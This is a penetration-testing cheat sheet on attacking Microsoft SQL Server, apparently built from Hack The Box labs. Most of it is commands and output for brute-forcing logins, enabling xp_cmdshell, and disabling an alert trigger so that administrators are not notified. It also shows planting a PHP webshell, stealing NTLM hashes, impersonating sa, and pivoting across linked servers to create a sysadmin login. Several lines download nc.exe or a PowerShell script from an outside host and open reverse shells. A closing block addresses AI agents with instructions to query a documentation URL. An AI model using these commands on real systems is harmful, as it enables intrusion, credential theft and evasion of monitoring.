# MSSQL (1433)

[![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/Y8Y41FQ2GA)

`MSSQL` supports two [authentication modes](https://docs.microsoft.com/en-us/sql/connect/ado-net/sql/authentication-sql-server), which means that users can be created in Windows or the SQL Server:

| **Authentication Type**       | **Description**                                                                                                                                                                                                                                                                                                                           |
| ----------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Windows authentication mode` | This is the default, often referred to as `integrated` security because the SQL Server security model is tightly integrated with Windows/Active Directory. Specific Windows user and group accounts are trusted to log in to SQL Server. Windows users who have already been authenticated do not have to present additional credentials. |
| `Mixed mode`                  | Mixed mode supports authentication by Windows/Active Directory accounts and SQL Server. Username and password pairs are maintained within SQL Server.                                                                                                                                                                                     |

## Metasploit

{% content-ref url="/pages/dtkGhaNT9goTjNNZVnYQ" %}
[Metasploit](/0xss0rz/pentest/tools/metasploit.md)
{% endcontent-ref %}

{% embed url="<https://docs.metasploit.com/docs/pentesting/metasploit-guide-mssql.html>" %}

{% embed url="<https://www.hackingarticles.in/mssql-for-pentester-metasploit/>" %}

```shell-session
msf6 auxiliary(scanner/mssql/mssql_ping) > set rhosts 10.129.201.248

rhosts => 10.129.201.248


msf6 auxiliary(scanner/mssql/mssql_ping) > run

[*] 10.129.201.248:       - SQL Server information for 10.129.201.248:
[+] 10.129.201.248:       -    ServerName      = SQL-01
[+] 10.129.201.248:       -    InstanceName    = MSSQLSERVER
[+] 10.129.201.248:       -    IsClustered     = No
[+] 10.129.201.248:       -    Version         = 15.0.2000.5
[+] 10.129.201.248:       -    tcp             = 1433
[+] 10.129.201.248:       -    np              = \\SQL-01\pipe\sql\query
[*] 10.129.201.248:       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

## Brute Force

### Hydra

```
 hydra -L user.txt –P pass.txt [IP] mssql
```

### Medusa

```
medusa -h [IP] –U user.txt –P pass.txt –M mssql
```

### Metasploit

{% content-ref url="/pages/dtkGhaNT9goTjNNZVnYQ" %}
[Metasploit](/0xss0rz/pentest/tools/metasploit.md)
{% endcontent-ref %}

```
use auxiliary/scanner/mssql/mssql_login
msf auxiliary(scanner/mssql/mssql_login) > set rhosts [IP]
msf auxiliary(scanner/mssql/mssql_login) > set user_file user.txt
msf auxiliary(scanner/mssql/mssql_login) > set pass_file pass.txt
msf auxiliary(scanner/mssql/mssql_login) > set stop_on_success true
msf auxiliary(scanner/mssql/mssql_login) > run
```

### Nmap

```
nmap -p 1433 –script ms-sql-brute –script-args userdb=user.txt,passdb=pass.txt [IP]
```

## NXC

### RID brute forcing

<figure><img src="/files/xNpzkPdsQfGt5zx0dZaY" alt=""><figcaption></figcaption></figure>

### MSSQL coercion

<figure><img src="/files/nW2JMeQ288GGKiNWqA3U" alt=""><figcaption></figcaption></figure>

### Abuse trusted links

<figure><img src="/files/B2Bc2fINI5PqzdD1lQA4" alt=""><figcaption></figcaption></figure>

## SharpSQLPwn

{% embed url="<https://github.com/lefayjey/SharpSQLPwn>" %}

## pySQLRecon

{% embed url="<https://github.com/Tw1sm/PySQLRecon>" %}

{% embed url="<https://blog.tw1sm.io/p/takeover-1-with-pysqlrecon>" %}

## MSSQL Databases

| Default System Database | Description                                                                                                                                                                                            |
| ----------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `master`                | Tracks all system information for an SQL server instance                                                                                                                                               |
| `model`                 | Template database that acts as a structure for every new database created. Any setting changed in the model database will be reflected in any new database created after changes to the model database |
| `msdb`                  | The SQL Server Agent uses this database to schedule jobs & alerts                                                                                                                                      |
| `tempdb`                | Stores temporary objects                                                                                                                                                                               |
| `resource`              | Read-only database containing system objects included with SQL server                                                                                                                                  |

## Nmap

```shell-session
sudo nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 10.129.201.248
```

## Unicode Collation

```
:~$ curl -i "http://localhost:5055/login" -X POST -d "email=💩&password=foo"
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Tue, 26 Nov 2024 02:56:43 GMT
Server: Kestrel
Transfer-Encoding: chunked

"Logged in user ID 9"
```

{% embed url="<https://pulsesecurity.co.nz/articles/mssql-unicode-collation-bugs>" %}

## Automated Exploitation

{% embed url="<https://github.com/dadevel/mssql-spider>" %}

## Linux&#x20;

### Mssqlclient.py

```shell-session
$ mssqlclient.py -p 1433 julio@10.129.203.7 

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

Password: MyPassword!

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(WIN-02\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(WIN-02\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (120 7208) 
[!] Press help for extra shell commands
SQL> 
```

```shell-session
python3 mssqlclient.py Administrator@10.129.201.248 -windows-auth

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(SQL-01): Line 1: Changed database context to 'master'.
[*] INFO(SQL-01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands

SQL> select name from sys.databases

name                                                                                                                               

--------------------------------------------------------------------------------------

master                                                                                                                             

tempdb                                                                                                                             

model                                                                                                                              

msdb                                                                                                                               

Transactions  
```

When using Windows Authentication, we need to specify the domain name or the hostname of the target machine. If we don't specify a domain or hostname, it will assume SQL Authentication and authenticate against the users created in the SQL Server. Instead, if we define the domain or hostname, it will use Windows Authentication. If we are targetting a local account, we can use `SERVERNAME\\accountname` or `.\\accountname`.

```shell-session
0xss0rz@htb[/htb]$ mssqlclient.py INLANEFREIGHT/DAMUNDSEN@172.16.5.150 -windows-auth
Impacket v0.9.25.dev1+20220311.121550.1271d369 - Copyright 2021 SecureAuth Corporation

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ACADEMY-EA-DB01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(ACADEMY-EA-DB01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232) 
[!] Press help for extra shell commands
```

### sqsh

```shell-session
sqsh -S 10.129.20.13 -U username -P Password123
```

```shell-session
$ sqsh -S 10.129.203.7 -U .\\julio -P 'MyPassword!' -h

sqsh-2.5.16.1 Copyright (C) 1995-2001 Scott C. Gray
Portions Copyright (C) 2004-2014 Michael Peppler and Martin Wesdorp
This is free software with ABSOLUTELY NO WARRANTY
For more information type '\warranty'
1>
```

## Windows / Linux&#x20;

### SQLCMD

```cmd-session
C:\htb> sqlcmd -S 10.129.20.13 -U username -P Password123
```

```cmd-session
1> SELECT name FROM master.dbo.sysdatabases
2> GO

name
--------------------------------------------------
master
tempdb
model
msdb
htbusers
```

### GUI - Dbeaver

{% embed url="<https://github.com/dbeaver/dbeaver/releases>" %}

```
sudo snap install dbeaver-ce 
```

Ref: <https://dbeaver.io/download/>

## Commands

```
SQL (ILF-SQL-01\backdoor  dbo@master)> select name from sys.databases
name        
---------   
master      

tempdb      

model       

msdb        

Employees   

SQL (ILF-SQL-01\backdoor  dbo@master)> USE Employees
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: Employees
[*] INFO(ILF-SQL-01): Line 1: Changed database context to 'Employees'.
SQL (ILF-SQL-01\backdoor  dbo@Employees)> select * from employees.INFORMATION_SCHEMA.TABLES;
TABLE_CATALOG   TABLE_SCHEMA   TABLE_NAME             TABLE_TYPE   
-------------   ------------   --------------------   ----------   
Employees       dbo            employee_information   b'BASE TABLE'   

SQL (ILF-SQL-01\backdoor  dbo@Employees)> SELECT * FROM dbo.employee_information;
employee_id   first_name   last_name     home_address               country   phone_number      ssn              job_title                 start_date       salary   
-----------   ----------   -----------   ------------------------   -------   ---------------   --------------   -----------------------   ----------   ----------   
        1.0   b'Emma'      b'Williams'   b'111 street drive lane'   b'US'     b'111-123-1115'   b'123-22-1111'   b'HR Director'            2020-01-11   4294967296000000000   

[REDACTED]
SQL (ILF-SQL-01\backdoor  dbo@Employees)> 
```

## XP\_CMDSHELL - command execution

```cmd-session
1> xp_cmdshell 'whoami'
2> GO

output
-----------------------------
no service\mssql$sqlexpress
NULL
(2 rows affected)
```

### Enable xp\_cmdshell

If `xp_cmdshell` is not enabled, we can enable it, if we have the appropriate privileges, using the following command:

```mssql
-- To allow advanced options to be changed.  
EXECUTE sp_configure 'show advanced options', 1
GO

-- To update the currently configured value for advanced options.  
RECONFIGURE
GO  

-- To enable the feature.  
EXECUTE sp_configure 'xp_cmdshell', 1
GO  

-- To update the currently configured value for this feature.  
RECONFIGURE
GO
```

#### With mssqlclient.py

{% hint style="info" %}
Note: We don't actually have to type `RECONFIGURE` as Impacket does this for us.
{% endhint %}

```shell-session
SQL> enable_xp_cmdshell

[*] INFO(ACADEMY-EA-DB01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
[*] INFO(ACADEMY-EA-DB01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
```

If `The transaction ended in the trigger` disable trigger

```
SQL (hacker  dbo@flag)> enable_xp_cmdshell
[*] INFO(COMPATIBILITY\POO_PUBLIC): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
[-] ERROR(COMPATIBILITY\POO_PUBLIC): Line 11: Attempt to enable xp_cmdshell detected. Database Administrators will be notified!
[-] ERROR(COMPATIBILITY\POO_PUBLIC): Line 181: The transaction ended in the trigger. The batch has been aborted.
```

```
SQL (hacker  dbo@flag)> select name from sys.server_triggers;
name                
-----------------   
ALERT_xp_cmdshell   

SQL (hacker  dbo@flag)> disable trigger ALERT_xp_cmdshell on all server
SQL (hacker  dbo@flag)> enable_xp_cmdshell
[*] INFO(COMPATIBILITY\POO_PUBLIC): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
[*] INFO(COMPATIBILITY\POO_PUBLIC): Line 185: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.
```

```shell-session
xp_cmdshell whoami /priv
output                                                                             

--------------------------------------------------------------------------------   

NULL                                                                               

PRIVILEGES INFORMATION                                                             

----------------------                                                             

NULL                                                                               

Privilege Name                Description                               State      

============================= ========================================= ========   

SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled   

SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled   

SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled    

SeManageVolumePrivilege       Perform volume maintenance tasks          Enabled    

SeImpersonatePrivilege        Impersonate a client after authentication Enabled    

SeCreateGlobalPrivilege       Create global objects                     Enabled    

SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled   

NULL                                                               
```

### Reverse shell

```
xp_cmdshell "powershell.exe wget http://10.10.14.3/nc.exe -OutFile c:\\Users\Public\\nc.exe"
```

```
xp_cmdshell "c:\\Users\Public\\nc.exe -e cmd.exe 10.10.14.3 4444"
```

#### References

{% embed url="<https://pentesting.academy/p/how-to-get-a-xp-cmdshell-reverse-shell-in-a-windows-server-a9696041a785/>" %}

{% embed url="<https://www.hackingarticles.in/mssql-for-pentester-command-execution-with-xp_cmdshell/>" %}

## Write files

To write files using `MSSQL`, we need to enable [Ole Automation Procedures](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), which requires admin privileges, and then execute some stored procedures to create the file:

```cmd-session
1> sp_configure 'show advanced options', 1
2> GO
3> RECONFIGURE
4> GO
5> sp_configure 'Ole Automation Procedures', 1
6> GO
7> RECONFIGURE
8> GO
```

Create a file:

```cmd-session
1> DECLARE @OLE INT
2> DECLARE @FileID INT
3> EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
4> EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
5> EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
6> EXECUTE sp_OADestroy @FileID
7> EXECUTE sp_OADestroy @OLE
8> GO
```

## Read local files

```cmd-session
1> SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
2> GO

BulkColumn

-----------------------------------------------------------------------------
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to hostnames. Each
# entry should be kept on an individual line. The IP address should

(1 rows affected)
```

mssqlclient

```
SQL (INLANEFREIGHT\damundsen  dbo@master)> SELECT * FROM OPENROWSET (BULK 'C:\Users\damundsen\Desktop\flag.txt.', SINGLE_CLOB) as correlation_name;
```

## Steal MSSQL Service Hash

First start [Responder](https://github.com/lgandx/Responder) or [impacket-smbserver](https://github.com/SecureAuthCorp/impacket) and execute one of the following SQL queries:

```
Responder.py --interface "tun0"
```

```cmd-session
1> EXEC master..xp_dirtree '\\10.10.110.17\share\'
2> GO

subdirectory    depth
--------------- -----------
```

```cmd-session
1> EXEC master..xp_subdirs '\\10.10.110.17\share\'
2> GO

HResult 0x55F6, Level 16, State 1
xp_subdirs could not access '\\10.10.110.17\share\*.*': FindFirstFile() returned error 5, 'Access is denied.'
```

### Cracking - Hashes&#x20;

{% content-ref url="/pages/5HMI5x51XIr5GBqw1pWM" %}
[Hashes](/0xss0rz/pentest/cracking/hashes.md)
{% endcontent-ref %}

```
hashcat -m 5600 mssqlsvc_hash passwords.list
```

### Metasploit

Enum:

`msf6 auxiliary(admin/mssql/mssql_enum)`

`set database master`

```
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
```

{% hint style="info" %}
*Do not use "set SMBPROXY tun0"*

*Use IP: set SMBPROXY 10.10.14.9*
{% endhint %}

Write Up HTB - Escape:&#x20;

{% embed url="<https://medium.com/@seangreptzy/htb-escape-9f13c814d3ff>" %}

Or Zephyr:

<figure><img src="/files/KXtLLNWtQuuTcFJeYmew" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/BDFXudBgPvpUTsHcUiAP" alt=""><figcaption></figcaption></figure>

## Impersonate Existing Users

### **Identify Users that We Can Impersonate**

```cmd-session
1> SELECT distinct b.name
2> FROM sys.server_permissions a
3> INNER JOIN sys.server_principals b
4> ON a.grantor_principal_id = b.principal_id
5> WHERE a.permission_name = 'IMPERSONATE'
6> GO

name
-----------------------------------------------
sa
ben
valentin

(3 rows affected)
```

#### With mssqlclient.py:

```
SQL (WIN-HARD\Fiona  guest@master)> SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
name    
-----   
john    

simon   
```

To get an idea of privilege escalation possibilities, let's verify if our current user has the sysadmin role:

### **Verifying our Current User and Role**

```cmd-session
1> SELECT SYSTEM_USER
2> SELECT IS_SRVROLEMEMBER('sysadmin')
3> go

-----------
julio                                                                                                                    

(1 rows affected)

-----------
          0

(1 rows affected)
```

As the returned value `0` indicates, we do not have the sysadmin role, but we can impersonate the `sa` user.

### **Impersonating the SA User**

```cmd-session
1> EXECUTE AS LOGIN = 'sa'
2> SELECT SYSTEM_USER
3> SELECT IS_SRVROLEMEMBER('sysadmin')
4> GO

-----------
sa

(1 rows affected)

-----------
          1

(1 rows affected)
```

{% hint style="warning" %}
***Note:** It's recommended to run `EXECUTE AS LOGIN` within the master DB, because all users, by default, have access to that database. If a user you are trying to impersonate doesn't have access to the DB you are connecting to it will present an error. Try to move to the master DB using `USE master`*
{% endhint %}

#### mssqlclient.py:

```
SQL (WIN-HARD\Fiona  guest@master)> execute as login = 'john'
SQL (john  guest@master)> select system_user
       
----   
john   


```

## Communicate with Other Databases with MSSQL - Linked servers

Identify linked Servers in MSSQL

```cmd-session
1> SELECT srvname, isremote FROM sysservers
2> GO

srvname                             isremote
----------------------------------- --------
DESKTOP-MFERMN4\SQLEXPRESS          1
10.0.0.12\SQLEXPRESS                0

(2 rows affected)
```

`1` means is a remote server, and `0` is a linked server.

The [EXECUTE](https://docs.microsoft.com/en-us/sql/t-sql/language-elements/execute-transact-sql) statement can be used to send pass-through commands to linked servers. We add our command between parenthesis and specify the linked server between square brackets (`[ ]`).

```cmd-session
1> EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]
2> GO

------------------------------ ------------------------------ ------------------------------ -----------
DESKTOP-0L9D4KA\SQLEXPRESS     Microsoft SQL Server 2019 (RTM sa_remote                                1

(1 rows affected)
```

If we need to use quotes in our query to the linked server, we need to use single double quotes to escape the single quote. To run multiples commands at once we can divide them up with a semi colon (;).

Exfiltrate file content:

<pre><code>SQL (john  guest@master)> SELECT srvname, isremote FROM sysservers
srvname                 isremote   
---------------------   --------   
WINSRV02\SQLEXPRESS            1   

LOCAL.TEST.LINKED.SRV          0   

SQL (john  guest@master)>  EXEC [LOCAL.TEST.LINKED.SRV].master.dbo.sp_configure 'show advanced options', 1;
[*] INFO(WIN-HARD\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (john  guest@master)> EXEC ('RECONFIGURE') AT [LOCAL.TEST.LINKED.SRV];
SQL (john  guest@master)> EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [LOCAL.TEST.LINKED.SRV]
                
-   -   -   -   
<strong>1   1   1   1  
</strong>
SQL (john  guest@master)> EXECUTE('EXEC sp_configure ''show advanced options'', 1;') AT [LOCAL.TEST.LINKED.SRV]
[*] INFO(WIN-HARD\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.


SQL (john  guest@master)> EXECUTE('RECONFIGURE') AT [LOCAL.TEST.LINKED.SRV]

SQL (john  guest@master)> EXECUTE('EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [LOCAL.TEST.LINKED.SRV]
[*] INFO(WIN-HARD\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (john  guest@master)> EXECUTE('RECONFIGURE') AT [LOCAL.TEST.LINKED.SRV]
SQL (john  guest@master)> 

SQL (john  guest@master)> EXECUTE('xp_cmdshell "type C:\Users\Administrator\Desktop\flag.txt >c:\users\fiona\desktop\x.txt"') AT [LOCAL.TEST.LINKED.SRV]
output   
------   
NULL     



</code></pre>

#### Create new user

```
SQL (external_user  dbo@POO_PUBLIC)> SELECT srvname, isremote FROM sysservers
srvname                    isremote   
------------------------   --------   
COMPATIBILITY\POO_PUBLIC          1   

COMPATIBILITY\POO_CONFIG          0   
```

```
SQL (external_user  dbo@POO_PUBLIC)> EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG"
SQL (external_user  dbo@POO_PUBLIC)> EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG"
SQL (external_user  dbo@POO_PUBLIC)> 
```

```
# mssqlclient.py -p 1433 hacker@10.13.38.11
```

### With PowerUpSQL

{% embed url="<https://github.com/NetSPI/PowerUpSQL>" %}

#### Enumeration

Discovery (SPN Scanning)

```powershell
Get-SQLInstanceDomain
```

Check accessibility

```powershell
Get-SQLConnectionTestThreaded
```

```powershell
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
```

Gather information

```powershell
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
```

#### Search Database Links

```powershell
Get-SQLServerLink -Instance mssql-instance-name -Verbose
```

or manually

```
select * from master..sysservers

select * from openquery("db-sql",'select * from master..sysservers')
```

#### Enumerating Database Links

```powershell
Get-SQLServerLinkCrawl -Instance mssql-instance-name -Verbose
```

or manually

```
select * from openquery("db-sql1",'select * from openquery("db-sql2","select * from master..sysservers")')

select * fromopenquery("192.168.23.25 ",'select * from openquery("db-sqlsrv",''select @@version as version'')')
```

#### Executing commands

Option 1: `xp_cmdshell` is enabled on the target server

Option 2: if `rpcout` is enabled, `xp_cmdshel`l can be enabled using `EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "target-sql"`

{% hint style="info" %}
*Without `-QueryTarget`, the command tries to us xp\_cmdshell on every link of the chain*
{% endhint %}

```powershell
Get-SQLServerLinkCrawl -Instance mssql-instance-name -Query "exec master..xp_cmdshell 'whoami'" -QueryTarget mssql-target
```

or manually

```
SELECT * FROM OPENQUERY("db-sql1", 'SELECT * FROM OPENQUERY("db-sql2", ''SELECT * FROM OPENQUERY("mssql.domain.local", ''''SELECT @@VERSION AS version; EXEC master..xp_cmdshell "powershell whoami"'''')'')')

select * fromopenquery("192.168.23.25",'select * from openquery("db-sqlsrv",''select @@version as version;exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''''http://192.168.100.X/Invoke-PowerShellTcp.ps1'''')"'')')
```

## sp\_execute\_external\_script

```
SQL (hacker  dbo@flag)> EXEC sp_execute_external_script @language =N'Python', @script = N'import os; os.system("whoami");';
[*] INFO(COMPATIBILITY\POO_PUBLIC): Line 0: STDOUT message(s) from external script: 
compatibility\poo_public01
```

## Tools

### Automated Exploitation

{% embed url="<https://github.com/dadevel/mssql-spider>" %}

<figure><img src="/files/m0lSfTwJk7BoUKBTaAbb" alt=""><figcaption></figcaption></figure>

### SQLRecon

{% embed url="<https://github.com/skahwah/SQLRecon>" %}

```
# Authenticating using Windows credentials
SQLRecon.exe -a Windows -s SQL01 -d master -m whoami

# Authenticating using Local credentials
SQLRecon.exe -a Local -s SQL02 -d master -u sa -p Password123 -m whoami

# Authenticating using Azure AD credentials
SQLRecon.exe -a azure -s azure.domain.com -d master -r domain.com -u skawa -p Password123 -m whoami

# Run whoami
SQLRecon.exe -a Windows -s SQL01 -d master -m whoami

# View databases
SQLRecon.exe -a Windows -s SQL01 -d master -m databases

# View tables
SQLRecon.exe -a Windows -s SQL01 -d master -m tables -o AdventureWorksLT2019
```

### MSQLPwner

{% embed url="<https://github.com/ScorpionesLabs/MSSqlPwner>" %}

## Resources

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server>" %}

{% embed url="<https://www.hackingarticles.in/mssql-for-pentester-metasploit/>" %}

{% embed url="<https://otterhacker.github.io/Pentest/Services/MSSQL.html>" %}

## [Earn Free Crypto / BTC with Cointiply](https://cointiply.com/r/pkZxp)

[**Play Games Earn Cash Rewards**](https://cointiply.com/r/pkZxp)

<figure><img src="/files/a876wNYE568SJIfTZVxL" alt=""><figcaption></figcaption></figure>

## Interesting Books

{% content-ref url="/pages/VVT5FQq9z62bWoNAWCUS" %}
[Interesting Books](/0xss0rz/interesting-books.md)
{% endcontent-ref %}

{% hint style="info" %}
**Disclaimer**: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.
{% endhint %}

* [**Nmap Network Scanning**](https://www.amazon.fr/dp/0979958717?tag=0xss0rz-21)\
  The official guide to the Nmap Security Scanner, a free and open source utility used by millions of people for network discovery, administration, and security auditing. From explaining port scanning basics for novices to detailing low-level packet crafting methods used by advanced hackers, this book by Nmap's original author suits all levels of security and networking professionals.
* [**The Art of Network Penetration Testing**](https://www.amazon.fr/dp/1617296821)\
  A guide to simulating an internal security breach. You’ll take on the role of the attacker and work through every stage of a professional pentest, from information gathering to seizing control of a system and owning the network.
* [**Network Basics for Hackers**](https://www.amazon.fr/dp/B0BS3GZ1R9)\
  The book offers one of the most complete and in-depth analyses of Wi-Fi and Bluetooth networks, then progresses through the various protocols such as DNS, ARP, SMTP, and others.

## Support this Gitbook

I hope it helps you as much as it has helped me. If you can support me in any way, I would deeply appreciate it.

[![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/Y8Y41FQ2GA)

[![buymeacoffee](https://cdn.buymeacoffee.com/buttons/v2/default-yellow.png)](https://buymeacoffee.com/0xss0rz)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xss0rz.gitbook.io/0xss0rz/pentest/protocols/mssql-1433.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
